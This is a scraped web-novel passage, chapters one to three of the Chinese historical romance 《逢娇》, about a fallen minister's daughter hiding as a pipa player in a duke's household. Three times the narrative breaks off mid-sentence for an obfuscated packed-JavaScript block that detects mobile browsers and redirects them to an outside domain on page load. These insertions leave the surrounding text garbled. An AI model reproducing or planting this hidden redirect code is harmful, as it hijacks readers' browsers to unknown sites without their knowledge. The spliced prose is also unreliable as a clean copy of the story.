《逢娇》 1. 第 1 章 黑色烟尘直入云天,半城陷入滂沱大雨,好似永远都没有尽头。 贵人奴仆匍匐在狼藉的青砖灰瓦,被一道道长槊压弯了脊梁,面容一片死气。巡按们还在鱼贯出入,到处搜检。一箱箱文书藏宝尽数搬空。 狂风凄厉,暴雨如注。昔日端庄美艳的尚书之妻,享誉长安的诰命夫人,静静倒在火光之中。就在前一刻,她还用尽了最后一分力气,将唯一的幼女推入密室之中,随后点燃了屋内火烛。 逼仄的密室,白荔紧紧捂住唇,不敢发出一点声音,看着火光中一动不动的母亲,泪流满面。 外面的声音越来越大,潮水一般。 脚步混着密密匝匝的雨点,马上就要朝这里席卷而来。 倏忽,一张阴沉肃冷的脸,骤然出现在她的眼前。 “!!!” 白荔猛地睁开了双眼。 雷声轰隆。 一卷藕荷色绣线软帘摇曳婆娑,纱衾被风卷起,漏出一线白光,微微拂动之间,不知是梦是真。 丹樱打着帘子,笑吟吟出现,“妹妹,你醒啦?” “抱歉,刚才口渴,出去了一下,忘记你最怕打雷声了,吓着了吧?” 她在床头坐下,握起她冰凉的小手,秀眉蹙起,担忧道,“可是又做了什么不好的梦?我刚才进屋,隐约听见你说‘不要’‘不要’什么的”。 眼前女郎忧心的脸色,温柔的声音,让白荔慢慢安下心来。 冷津津的月光洒在地上,铺就一地白霜,映照出了屋中简洁到了近乎于简陋的陈设,将白荔从梦境中彻底拉醒。 这里不是温府。 白荔眨了眨眼,稳住心绪,微微一笑,平静道,“噩梦而已,不小心睡过去了,一睁眼倒是什么都给忘了。” “……也好,醒了就醒了。”丹樱道,“这盛夏暑热,咱们屋里又没有冰,也难为你这般中了暑气,等着,我去给你拧块帕子。” 白荔浅浅一笑,对她“嗯”了一声,乖巧地点了点头。 丹樱去了之后,她倚坐床头,那抹笑意淡了下去,眸光深深。 是了。此刻她们身在郡公府邸,为了三日后清河郡公李成的生辰。 她也不再是温白芮,她叫白荔。 不是礼部尚书的嫡女大小姐,只是一个鬻伎的优伶。 丹樱很快拧了帕子回来,让白荔擦脸,又拿起桌上的银杯,左瞧瞧右看看,“瞧瞧,这郡公府就是气派,连下人用的杯子,都是银子做的,这得值不少钱吧?” 她心里一直有一个富贵梦,此次跟着秋音堂来到郡公府,实在是平生所见的第一大世面,这几天一直免不得东张西望。 白荔则是淡淡地,垂眸不语。 前尘往事,俱成烟尘,都过去了。 她如今只是白荔。 没有姓氏,没有过往。 “阿公呢?病好一点了吗?”静默片刻,她想起一事,问道。 “唉,我刚想跟你说这个事呢。”丹樱叹了口气,愁肠百结,“刚才我出去倒水,隐约听到了阿公的咳嗽声,想来是还没有睡着。” 白荔忙起身,“我去看看。” 丹樱提着灯,与她搀扶并行,两位丽人穿过迤逦夜雾,轻轻掀开一旁的帘子。 三人住的是最南端的倒坐房,丹樱白荔自愿将通风好一些的房间让给了跛脚李,她们二人住的则是最里面的房间。如今已经到了暑夏,闷热无比。 但好在,旁边有一个闲置破旧的角门,无事可以偷偷溜出府,鲜少有人管束。 跛脚李躺在床上,阖着眼,满脸都是汗。 屋里只有高高的一扇小窗,漏风有胜于无。见到此景,丹樱心疼地啊了一声,忙快步过去,拿起湿帕子细细擦他的脸。 跛脚李感到了一丝清凉,慢慢睁开紧闭的双眼,浑浊的眼珠看到眼前二人,露出点生气出来,“是你们来了啊……大晚上的,怎么不去歇着?” 白荔跪在丹樱旁边,柔声问道,“阿公?您好些了吗?” “好一点了,阿荔别担心。”跛脚李笑呵呵道。 年轻时的跛脚李,脸上没这么多的笑模样,是十里八乡出了名的泼皮无赖,不怕闹不怕死,就算是豪绅大户也不敢拿他怎么样。凭着一身技艺本领和不好惹的性子,跛脚李走南闯北,打出了一些名堂。 如今虽老,威名犹在。收下两名花容月貌的女徒,也没人敢打她们的主意,白荔丹樱也得以安稳待到了如今。 可是现在,跛脚李病了。 一场风寒,就能把他打倒。 阿公老了。两人深切地意识到了这个现实。 丹樱拭干净跛脚李脸上的汗,轻轻伏在床边,靠着他,闭上了眼睛。 “阿公,您要快点好起来呀。” 白荔看到桌上的破碗,走过去,摸了摸温度,竟是一点热气也没有。 她娥眉蹙起,“阿公,我申时给您熬好的汤药呢?” 跛脚李咳了咳,叹息道,“别提了,唉……不小心被我打碎了。” 白荔眉心一跳。 不小心? 自是不能。 丹樱一听便冒火了,猛地起身,冷笑道,“自咱们三人跟着秋音堂来到郡公府,她们就对咱们没有一天的好脸色,竟还欺负到阿公头上,欺人太甚!” 说罢便要冲出去讨要说法。 “阿樱,别——”跛脚李急的起身,面红耳赤,咳得更加厉害。 白荔眼疾手快地扶住他,拍着他起伏的背,听他慢慢说道,“我们好不容易才来到这等人家,安稳不说,每个月还能领上二两银子,比外面不知好了多少,多一事不如少一事吧。” 丹樱忿忿不平,然而脚步却停下了。 终是跺了跺脚,一脸恼怒地折返回来。 白荔小心翼翼扶跛脚李躺下,看了一眼丹樱,安抚地捏了捏她的手背。 “阿公,您先好好休息,我们明日再来看你。”她柔声说完,便拉着丹樱起身离去。 两人从屋里出来,关好了门,一抬头,便见不远处的抱厦阴影处,站着两个花红柳绿的丫鬟,正一脸寡淡地看着她们。 目光对视,两个丫鬟冷峭地哼了一声,慢悠悠转身离去。 丹樱哼了一声,气冲冲拉着白荔就走。 . 两人回到屋里,已入巳时,欲梳洗一番,早作休息。 一豆灯火下,白荔又翻起了《沉香篆》。 昨夜风兼雨,帘帏飒飒秋声。 世事漫随流水,算来一梦浮生。 每每读到这两行,白荔都忍不住一阵唏嘘。 该书讲的是一位落魄的贵族后裔,胸有壮志,却无处施展,在遭遇家破人亡,妻子离散,子女夭折诸多变故之后,终于大彻大悟,终日披发跣足,醉生梦死,不断回顾往昔的风华绝代,最后客死他乡的悲凉故事。 风流骨,温柔乡,英雄冢。 到头来,终成一柸黄土。 短短几十页,与她的人生何其相符。这本书,陪她度过了许多难挨的时光。 屋中湿热,书籍受潮,书页都变得软了,白荔打算明天拿出去晒晒。 她正看的出神,丹樱回来了。 白荔忙将书藏于枕下。 “藏什么?我早发现了。”丹樱笑道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457501|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你还真是宝贝这书,去哪里都带着。” 丹樱看了一眼白荔手里的书,目光微露遗憾。 她不识字,也不懂白荔如此喜爱这种东西的原因。 书是有钱人家才能看得起的东西,她十岁便被家里卖了出去,一辈子都是贱籍。她这样的身份,好好活下去才是最要紧的事情,识不识字的,没那么重要。 可是白荔却识字。 在丹樱十五岁的时候,阿公去了一趟长安,回来之后,便多了一个她。 丹樱并不知道她的过去,这位半路收领的美人,总是一副淡淡的模样,瞧着病恹恹的,我见犹怜,眼皮总是微微垂着,有些冷艳,有些漠然,有些消沉。 她和自己一样鬻伎,是贱籍,但是丹樱总觉得,她跟自己是不一样的。 她识字,会书画,也会弹琴弄曲,学什么都又快又好,仿佛根本不需要别人的指点。跟自己的努力勤奋比起来,她轻松地毫不费力。 但她明明会这么多东西,却从不现于人前,一味埋头藏拙。只一次冒头,便是在秋音堂广招贤伶之时,她弹了一曲琵琶,入了秋音堂的眼,这才带着跛脚李和她,三人一起入了秋音堂,进了郡公府。 所以,丹樱能来郡公府这种地方,也是托了白荔的福。 也是到了后来,她才知道,那时的秋音堂,缺一位精通琵琶的乐师。 丹樱笑了笑,不再去想这些乱七糟八的,拿出藏在袖中的帕子,宝贝似的给她看。 “你瞧,这是什么。” 她慢慢打开帕子,露出三块细腻橙黄的糕点,“我从厨房偷偷拿的,给阿公留一块,剩下的咱们一人一半,快吃吧。” 白荔含笑摇了摇头,“姐姐吃吧。” 丹樱见她如此,也没勉强,白荔好像从来不喜欢吃糕点,她就没见过她吃过。 黄豆膏做的细腻,入口即化,丹樱咬了一口,心情愉悦地弯了弯唇角,“好吃。这郡公府里的点心就是好吃,比芳桂阁的还要好。” 白荔坐在床头,看着她像个孩子一样边吃边说,目光温柔。 见丹樱吃了一块,又要再吃,怕她夜里积食,白荔轻轻靠向她,蹭了蹭她的胳膊,“我困了,姐姐,剩下的一块明日再吃好不好,咱们先睡吧?” 她的声音又清又甜,因是讨好的缘故,更含了几分说不出来的娇媚。 眼前的女子垂拢着眉,软腻的胳膊抱住她,雪白的颈子正好低垂下来,露出一截丰盈撩人的弧度,眉眼袅婷若画,嫩白的鼻尖沁出几滴薄汗,更显得肤如凝荔,呼吸间似能嗅到甜腻的香气。 丹樱默默咽了咽口水。 世人崇尚“燕瘦”,以窈窕清瘦为美,丹樱身材纤瘦,长相也美,是整个襄阳数一数二的美人,可是每次看到白荔,她总觉得女子像这般丰腴婉转,纤浓有度,也是别有一番风情。而那种韵味,是她所不具备的。 如此尤物,她一个女子看了,都未免心神摇曳。 “你呀。”她叹息一声,摸了摸白荔雪腻的小脸,调笑道,“也不知今后哪位郎君有这般福气,定会被你勾的神魂颠倒。” 白荔有些羞赧,玉面微红,“姐姐,你又打趣我。” 丹樱笑着拉她一起躺下,灭掉烛火,盖好两人的薄被。 “阿荔,总有一天,我要出人头地。”安静了片刻,她望着黑沉沉的幔帐,轻声道,“哪些瞧不起我们的人,我都会让她们付出代价。” 白荔只当她是一时气话,轻轻嗯了一声,说了声好。 “对了。”丹樱又想起一事。 “听说,三日后的生辰宴,还有从长安来的贵客呢。” 2. 第 2 章 听到长安两个字。白荔倏然一惊,转头看她。 “姐姐说什么?” 丹樱不觉有他,“我是说,清河郡公的生辰宴里,好像有长安的贵客前来。” 长安。 长安…… 她已经从长安离开五载。如今再次听到这个地方,还是忍不住惊心动魄。 那一日的暴雨火光还刻在她的脑海里,深入骨髓,每每想起,仿佛还近在眼前。 原来她离开长安,已经有五年了啊。 如若没有发生变故,她本该是温家金枝玉叶的嫡女,在长安城里娇生精养着,不知人间忧愁。 然而天有不测风云,一夕之间,长安变了天。 先帝正值春秋鼎盛,却溘然离世。 而之后,太子公然谋反,被太后联合禁军诛杀于广信宫。 父子二人双双殒命,相隔不过数月。 按理说先帝驾崩,作为储君的太子理应继位,没有任何谋反的理由。太后却声称太子谋反,一意将其诛杀。其中缘由,实在令人惊疑。 太后之后的所作所为,更是加重了这一点。 太子死后,她扶持幼帝,垂帘听政,大权俨然独揽。 皇权交接之际,世家大族一旦站错了队,便是满门之灾。 白荔身为礼部尚书的父亲,不满皇权困于外戚之手,不肯承认太后的权力,在朝堂上义正言辞,字字罄书,结果触怒了太后。 先是父亲锒铛入狱,再也没有回来。 随后便是温府上下的大清洗。 所有男丁皆被打入军营,女眷则充入教坊司,永无翻身之日。 那一夜暴雨滂沱,火光漫天。温府被官兵层层包围,男丁女眷仓皇逃窜,至今还记忆犹新,令她夜夜梦魇。 母亲走投无路,临死之前,将白荔送入密室,托付给了府中的一名乐师。 那名乐师,正是游历至长安、寄居温府的跛脚李。 跛脚李居无定所,从襄阳一路游历到了长安。母亲喜爱风雅,将跛脚李请入温府,对他素来礼重。念及这份恩情,跛脚李拼上老命,将白荔冒死从温府带了出来,远远离开了长安。 襄阳距离长安千里之遥,两人一路行水路,整整小半年才抵达襄阳。 跛脚李给白荔改了名字,教她琴棋书画、供她衣食住行。 他一生低贱,只能也给白荔入了贱籍。 有了新的名字,新的身份,白荔这才真正躲过了这一劫,世上再无温白芮。 白荔扯了扯唇角,掩下眼底的一抹凄黯。 “不知是长安哪家的贵人?”她试探问道。 “这我就不知道了。”丹樱道,忽而摸到了白荔的手,一惊,“怎么了阿荔?手怎么这么凉?” “……没事。”白荔收回了手,淡淡道,“睡吧。” 丹樱纳闷,白荔从来谨小慎微,不对这些过于关注,今天怎么突然多问了两句。 是因为长安的缘故吗? 她对白荔的身世半知半解,知她或许生于长安,与长安大有渊源,听她如此避讳,也不再深问,作势捂住樱唇,慢慢打了个哈欠,配合地闭上了眼,“好困,快睡吧。” . 同一个夜。还有人无眠。 绿玉躺在床上,想着刚才看到的那两张姝丽无双的脸,翻来覆去睡不着,索性起身,一屁股坐在桌前,灌了一杯冷茶。 “襄阳双艳,环肥燕瘦,呵呵。”她冷笑。 秋音堂的人都道,班子里来了襄阳双艳。 跛脚李一手带出来的两个女徒,一个善舞,一个善音,环肥燕瘦,国色天香。 尤其是白荔,弹了一手的好琵琶。 正是因为她琵琶弹的好,秋音堂需要,这才破格招了她们三人,一起来到了郡公府。 同样善弹琵琶的绿玉一下子成了陪衬。 绿玉想起那一张一眼就令人忘不了的美丽的脸,女郎袅袅婷婷地站在廊下,一张芙蓉香腮面,纤秾合度,腰肢若柳,静静看着她。 若非一身丫鬟衣着,猛地一眼,举止做派竟像是一个大家闺秀,而并非一个优伶。 都是贱籍坯子,装腔作势给谁看啊! 绿玉哼了一声。 忽的一阵阴风,白荔鬼一样地出现在了她的眼前。 “天老爷,鬼呀——” 绿玉吓了个够呛,差点从凳子上跌下来。 看清眼前人并非幻觉,她回过神来,气急败坏,“大半夜的,你装神弄鬼给谁看呢!吓唬谁啊!” “是我吓到姐姐了吗?”白荔柔声道,轻轻朝她走近几步。 她穿着一身雪白寝衣,女鬼的感觉更浓了,绿玉惊魂未定,又往后退了两步,怒瞪警告道,“你、你别过来!有话快说,大半夜找我,到底有什么事啊。” 白荔于是停下,正色道,“近日我受了风寒,脑子昏涨,生辰宴那日,恐不能上场弹奏,怕是要让姐姐代劳了。” 绿玉听到这话,心中一动。 清河郡公的生辰宴,能赴宴的来客,都是她们平常接触不到的大人物。 要是哪一个赏眼看上她的话…… 那她就不必一辈子卖唱了。 她虽然不服,但是不得不承认,白荔的琵琶比她弹得好了太多。 班主一心要白荔出场,她苦于没有机会,这几天正发愁。 若是白荔自己不能上的话,那不就自然而然轮到她了吗? 白荔不动声色地乜了若有所思的绿玉一眼,笑了笑,又缓缓递过去一支簪子。 “一点心意,还请绿玉姑娘收下。” 绿玉接过,一看。 簪子通体碧玉,触手生温,在烛光下散发着莹润的光泽,一看就不是庸俗货色。 白荔竟然藏着这么好的东西? 绿玉心有疑虑,愣愣地看着掌中玉簪,挪不开眼。 白荔观察着绿玉的脸色,笑了笑,擅自将玉簪拿起,轻轻插入她的鬓发之中,又拿起一旁的小镜,柔声夸赞道。 “姐姐名唤绿玉,又生的天生丽质,乌发如云,这碧玉簪子配姐姐,实在是再合适不过了。” 绿玉对镜自照,被这几句话夸得心花怒放。 连白荔这样的美人都这般夸她,想来是不会差的。 若是生辰宴那天,她戴上这样一支簪子,岂不是锦上添花,艳压群芳? 不过她再喜欢,也明白没有白来的便宜这个道理,压下欢喜之色,不阴不阳地哼了一声,“妹妹深夜过来,不单单是送簪子这么简单吧?” 白荔听她这么问,便知此事成功了一大半,缓缓松了口气,说出了此次来的最终目的,“只求绿玉姐姐高抬贵手,不要为难阿公,让阿公按时服药,早日康复。” “瞧妹妹这话说的,我什么时候为难过你的阿公?”绿玉笑了,“妹妹这话的意思,就是我克扣了你的阿公的药,这才让你的阿公缠绵病榻的吗?” “姐姐误会了,妹妹知姐姐是最为心善之人,怎么会干出这种事呢?许是姐姐手底下的人不怎么小心罢了。”白荔平心静气道。 “姐姐,咱们同为郡公府雇养的优伶,地位本就不如府中的下人,整日抬头不见低头见,还是要以和为贵,给彼此一条生路,别让府里的其他人看了笑话,您说是不是?” 绿玉脸上的笑意淡了,看着她不语。 半晌,她慢慢道,“妹妹说的很是。” “妹妹放心,拿人家的手短,我既然收了你的东西,就没有白要的道理。”她懒洋洋道,“你阿公的药,许是哪个下人不长眼,调皮罢了,以后断不会有这事。” “姐姐既然这么说了,妹妹深谢姐姐。”白荔向她规规矩矩行了一礼,适时告退,“不打扰姐姐休息,妹妹先告退。” 白荔离开绿玉的房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457502|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝自己的房间行去。 廊下,一道黑影朝她走来,越来越近。 白荔停住,看清来人,心中微沉。 她不动声色地欠身,对他行了一礼,“见过副班主。” “阿荔妹妹怎么如此生分,和丹樱一样,叫我墨哥哥就好。”墨末停在她面前,对她温和笑道。 可是不知怎么的,这笑容落在白荔的眼里,有那么几分阴寒味道。 白荔弯了弯唇,没有回应,默默退后一步。 谁知墨末又向前一步,与她挨得更近,“妹妹有事求绿玉,怎么不直接来找我?” “妹妹身上熏的什么香?”他凑近她,轻轻嗅了一口,“好香啊。” 陌生的雄性气息一靠近,白荔本能地身体一僵。 她不露声色,轻轻打了个旋,将两人的距离再次拉远。 “副班主,我有些身体不适,先回去了。”她低下头,匆匆走开。 墨末看着几乎是小跑远去的白荔,似笑非笑,一双眼睛在黑夜里精光迸现。 他先踏进了绿玉的房间。 “白荔刚刚找你干什么了?” 绿玉喜滋滋欣赏着玉簪,头也没抬,努了努嘴,不悦道,“还能有什么,为了她那个阿公呗,真跟当成了亲爹一样伺候啊。” 白荔丹樱两人对跛脚李很是爱戴,晨昏定省悉心侍奉,秋音堂上下都看在眼里。 “这是什么?”墨末抽走玉簪,打量着。 “给我!”绿玉一把夺回,急声道,“这是我的!不许跟我抢。” “白荔给你的?” “不然呢?” 墨末盯着她手里的玉簪,沉吟片刻,道,“她要药,你就给她吧。” 反正那个跛脚,病是好不了了。 他活不了多久了。 “她给你簪子,就只为了这个?”他又问道。 “她还把弹琵琶的位置给了我,算她识相。” 墨末思忖片刻,没有说什么。 他还以为白荔这样姿色的美人,该是像她的好姐妹丹樱一样,求着争着在人前显眼,好博取达官贵人的青眼,寻一场大造化。 没想到她竟这般懂事识趣,倒是省了他许多筹谋。 “哥哥,咱们什么时候把她们赶出去呀?”绿玉不满道。 墨末面无表情,冷声道,“你就这么想赶她出去?” “是因为她抢了你的位置,占了你的风头吗?” 绿玉低下头,面对阴晴不定的哥哥,莫名有些心虚,“我没有……” “还是个小孩子心性。”墨末批评她,“我们秋音堂本就是鬻伎的优伶班子,全凭贵人的犒赏过日子,个人好了,大家才会好,不然你让大家吃什么喝什么。把她赶走,对你又有什么好。以后这样的话,不许再说。” 绿玉气馁,低下头,“知道了……” 墨末盯着那一支莹润的玉簪。 等那个跛脚一死,这久负盛名的襄阳双艳,两个身世飘零的女子,会是怎么样的归宿,可想而知。 他们都是一样的人,都是在泥里苦苦挣扎的蝼蚁。 既然入了这个泥淖,就不要妄图爬上岸,想做那天上的鸟。 他会让她永远地留下来,留在秋音堂。 . 丹樱今日练手化了一个梅花妆,眉如远山,唇若樱桃,额上点了一朵殷红梅花,顾盼神飞,令人见之惊艳。 她在抱厦下翩翩起舞,舞姿翩迁。 丹樱知道自己生了一张倾国倾城的脸,又是秋音堂里跳舞最出色的,她有信心在生辰宴拔得头筹,引起众人的侧目。 只是苦了白荔,大喜的日子,竟然好端端地病倒了。 倒是便宜了那个绿玉。 她跃跃欲试,在心里暗暗下了决心,等她有机缘真的被哪个贵人看上了,她一定要带上阿公和白荔,让她们过上好日子。 3. 第 3 章 生辰宴当日,绿玉起了个大早。 她精心妆造了一番,特意盘了个凌虚髻,将白荔送她的那枚玉簪簪在鬓发上,左瞧瞧右看看,心里欢喜的不得了。 优伶地位低下,平日不许花红柳绿,但好在为了今日盛宴,主人家特意采买了许多漂亮衣裙,供她们穿戴。 绿玉今日穿了一身碧色烟罗轻纱,行动之间腰肢纤纤,披帛摇曳在地,整个人如同弱柳扶风,甚是清丽出尘。 不到卯时,便有人来接。 来人是一位管家模样的年轻男人,面色威仪,神色倨傲,徐班主对他点头哈腰,说都准备好了,那人淡淡地朝她们打量了一眼,点了点头,领她们去往前院。 年轻男人引她们出了后院,弯弯绕绕不知走了多久,穿过几道垂花门,便见树影森森,亭台楼阁不断,一行人穿过抱厦假山,豁然开朗,人影渐渐多了起来,许多丫鬟小厮来回穿梭,或擦洗木梁,或打扫庭院,或手端器物,个个举止端庄,敛声屏气,明明那么多人在一起收拾打扫,竟然没有发出一丝动静。 绿玉她们自打来到郡公府,便一直龟缩在后院,平时被班主告诫不许出院子,不许与府中人搭话,一直心痒难耐,想亲眼看看这郡主府的气派,却又不敢东张西望,怕失了体统。 绿玉一时忍不住,瞧瞧抬眼去看那些丫鬟小厮,却无一人朝她们看过来,皆目中无尘,安安静静做着手里的事。她又将目光落向眼前的雕梁画栋、碧瓦飞甍,一时咂舌,这都走了这么久了,竟然还未到前院吗。 余光中,前面一道茜红身影若隐若现,引起了她的注意。 丹樱今日竟是穿了一身茜红纱裙,披帛逶迤,侧脸茭美明艳,额前印了一朵殷红梅花,微风拂来,轻薄的衣角掠过她的鼻尖,浮动暗香阵阵。 狐媚子!不要脸! 绿玉暗暗啐道。 一行人又走了片刻,终于来到前院。只见眼前一片花团锦簇,庭中三槐林立,巍峨挺拔,假山嶙峋,流水潺潺,竟是一道人工河渠,顺着整条抄手游廊蜿蜒而下,与整片假山树影浑然天成。 管家将她们安置在一处小亭,这里自带树荫,倒是没那么晒。 “今儿来的可都是些贵客,注意你们的身份,你们就是给人吹拉弹曲讨欢心的,若是有人扫了贵人们的兴,或是生了什么不切实际的念头,郡公府也容不下你们,都听仔细了吗?”年轻男人嘱咐道。 绿玉心中一震,垂下头去,和众人一起喏喏称是。 年轻男人说完之后,冷哼一声走了。绿玉眼看着他跑到了一个中年男人跟前,对他点头哈腰,自下去做活去了。心中纳罕,原来自己想错了,那人并不是什么管家。 众人纷纷落座。墨末身穿一袭青衣,拿着萧管,静静坐着,很有几分翩翩公子的模样,丹樱也是坐在另一旁,美面娴静,从不东张西望,绿玉心想自己也不能输了场子,于是也安静地坐下,装作一副沉稳模样。 婢女们手捧鲜花金盘,依次放在树影下的河渠两旁,花香清雅,水声清脆,堂前有阶,阶上便是画廊,绿玉一行正好围坐在游廊一处小亭,将庭中美景尽收眼底,当然了,庭中人看她们,自然也是一览无余。 班主交代她们,从午时就可以演奏,一直表演到最后一个宾客散去为止,中间不能歇上一歇。 绿玉也是第一次见识这般场面,且这么多天一直吃郡王府喝郡王府的,少不得辛苦些也忍了。 午时开始,众人开始演奏之时,宾客陆续登场。 渐渐地,人越来越多,但见衣着华贵的缙绅贵妇联袂而来,衣香鬓影,罗绮如云,举止交谈间优雅款款,端的是清贵不凡。 绿玉卖力弹着琵琶,生怕别人注意不到自己,手指都要抽筋,可是那些贵客照面片刻之后,便纷纷落座,有的在三两寒暄交谈,有的在高声笑语,竟是无一人朝她们这里看过来。 绿影中,一众世家贵女穿花而行,头上的珠钗环佩叮咚,穿的是价值千金的绸缎,化着当下最流行的妆容,手中均拿着一柄团扇,走起路来,旁边的树叶都不晃上一晃。 绿玉余光目不转睛地看着那群妙龄女郎远去,心中说不出是什么滋味。 她们距离她这般近,从没有这么近过,却是这般的遥不可及。 笙歌鼎沸的盛宴,原来她们只是毫不起眼的陪衬而已。 宴席开始,最中间的清河郡公李成站起身来,向众人举杯致意。 众人落座河渠两边,纷纷举杯,恭祝郡公福泰安康,随后便开始用膳。婢女们安静地候在廊下,方便主人随时传唤。偌大的宴席几无声息,偶尔几句谈笑,也是一笑而过,克制而安静。 少顷,一阵喧哗动静打破了安静的氛围。 几位箭袖轻袍、穿金佩玉的公子哥,谈笑着,大步流星走入庭中,神采飞扬,意气风发,仿佛酷暑炎热中最清爽的一抹亮色。 绿玉便注意到那几位正眼不瞧她们一眼的贵女们,纷纷将目光投向那几位少年郎,扇子遮住丹唇,悄悄红了脸,窃声私语。 几位公子哥刚打马扬鞭归来,浑身散发着蓬勃的精神朝气,仰头朗笑,大步轻快。 “今日又输给了子衿,不妥不妥!” “瞧你这话说的,就跟你什么时候赢过一样。” “话说,子衿呢?怎么没跟上?” “去红袖楼打酒去了,说是晚一会儿再到。” “怎么,我郡公府还招待不起好酒了不成?” “非也,非也,我看子衿兄不是去红袖楼打酒去了,倒像是去私会佳人。” 一人哈哈大笑,“让我说,这江南虽不及长安繁华,但有一样却是独占鳌头,那便是水一般的美人儿,长舟兄说的在理,咱们这位小郡王初来乍到,被咱们这的美人儿绊住了脚,也不足为奇!” “这才正是子衿兄的风雅之处啊。” 几位公子哥调笑着,兀自远去。 绿玉低着头,不敢多看,生怕露了怯。 他们这群人嘴里说的什么子衿,莫非就是那长安来的贵客? 听他们称呼他为小郡王,应该是什么了不起的大官吧? 绿玉感觉浑身的力气又上来了,铆足了劲继续弹着琵琶。 宴席过去一炷香的时间,众人推杯换盏,酒酣耳热,开始不再那么安静,气氛逐渐热络起来。 绿玉心不在焉,一直留心那群公子哥再出现,却没想到他们进了里院之后,就再没出来。 她心中不免有些泄气,却不死心,继续弹着。等她弹得手指都快要麻木的时候,终于,又有人进来了。 来人身姿颀长清癯,行动间玉佩琳琅不绝,朗笑两声,不消片刻便走到了庭中。 “哟,这么热闹。” 是一位年轻的公子。 声音自带笑音,犹如玉石入泉,格外清润好听。 “我来晚了,失礼失礼!” 绿玉暗暗心想,宴席上的人皆敛息屏气,不敢高声语,就连刚才那几位公子哥,也是不曾在众人跟前显眼,一哄而散便去了。这是何人,竟敢如此放诞无礼? 听到这道声音,满庭的人皆安静了一息,随即纷纷停下手中动作,起身朝来人行礼,唤他小郡王。 那几位百无聊赖的贵女更是放下了手中团扇,目不转睛地盯着他看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457503|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>绿玉耳聪目明,默默听着年轻公子对清河郡公祝寿送礼,寒暄了几句,他声音好听,人又爽朗,引得清河郡公和众人喜笑颜开,宴席的氛围一下子热闹了起来,只是那公子站在众人中间,半晌却并不落座,而是又慢悠悠来到了小亭前,停了下来。 这是宴席从始至终,停在她们这里的第一个人。 绿玉一阵激动,琵琶都弹错了一弦。就在这时,眼前一双描金黑靴映入眼帘,那人竟是来到了她的身边。 “琵琶弹得不错,你叫什么名字?” 绿玉内心忐忑,他这是在问自己? 她慌忙瞟了一眼旁边的人,几人皆在垂眸做自己的事,很显然此事与她们无关。 绿玉于是安下心来,掩住激动,小声回道,“……绿、绿玉。” “绿玉。”年轻公子重复了一遍,顿了顿,道,“丹葩信不类苹蒿,雨后常抽绿玉条。好名字。” “你这簪子,很漂亮。” 话语刚落,之前那几位公子哥及时出现,将他簇拥围起,调侃道,“子衿兄不愧为长安第一风流,走到哪里,都改不了这怜香惜玉的毛病啊。” “快来,就等你了,我备了个好地方,咱们几个不必跟这些老人儿待着,快快随我去煮酒赏花,一醉方休!” “李兄既如此盛情,那我便却之不恭了。” 牧临之朗笑一声,被众人挟着一道离开。 脚步声已远去,绿玉却怔怔良久,如坠梦中。 她摸了摸头上的玉簪,半天没有缓过神来。 那位公子,刚才是夸了自己? . 外面热闹的丝竹之声,悠悠传到了后院。 白荔给跛脚李喂好了药,便关上房门,慢慢来到了抱厦处,一个人坐下。 这里正好有一处绿荫,微风吹来,尚有几分凉爽。 许是身材丰腴的原因,她很怕热,此时走到抱厦处,已经忍不住流了一鼻尖的细汗。 她拿着帕子,轻轻擦拭着鼻尖、脖子,随即慢慢摇着扇子,扇着风,听着前院传来的丝竹之声。 清河郡公的生辰宴,想来一定是很热闹的。能来赴宴的,都是江南数一数二的大人物,甚至还有从长安来的贵客。 白荔闭着眼,能想象到此刻正院的浮华奢靡。 在长安时,她曾随着母亲参加过不少大大小小的宴会,应对这样的场合得心应手。 只是如今今非昔比,她虽不确定那长安贵客是否认识自己,但只要有一丝可能,她就该躲的远远的。 悠扬缠绵的小调,声声传来,每一个音律她都烂熟于胸。 白荔扇着扇子,慢慢哼着调子,悠悠唱道,“梦回莺转,乱煞年光遍,人一立小庭深院。注尽沉烟,抛残绣线,恁今春关情似去年……” 她的嗓子生的好,甜而不腻,娇而不媚,如三月鹂雀婉转多情,唱吴侬软语最是好听。 以前她何曾唱过这般的淫词艳曲,如今却是信手拈来,可见潜移默化是多么一件可怕的东西。 她四岁识字,五岁成诗,六岁识音律,琴棋书画样样皆通,温家一直以她为傲,谁能想到,这一切竟是给别人做了嫁衣裳。 她当初喜爱精通的东西,谁能想到如今入了风月场,变成了讨好达官贵人的手段。 当初她对丝竹乐舞感兴趣,母亲乐见其成,甚至鼓励她,为她延请名师来府中指点,父亲却并不认同,认为那是优伶戏子才要学的东西。如今想来,竟然一语成谶。 白荔叹了口气,再也唱不下去。 忽而间,不远处,有低低的笑声传来。 是一道男人的笑声。 4. 第 4 章 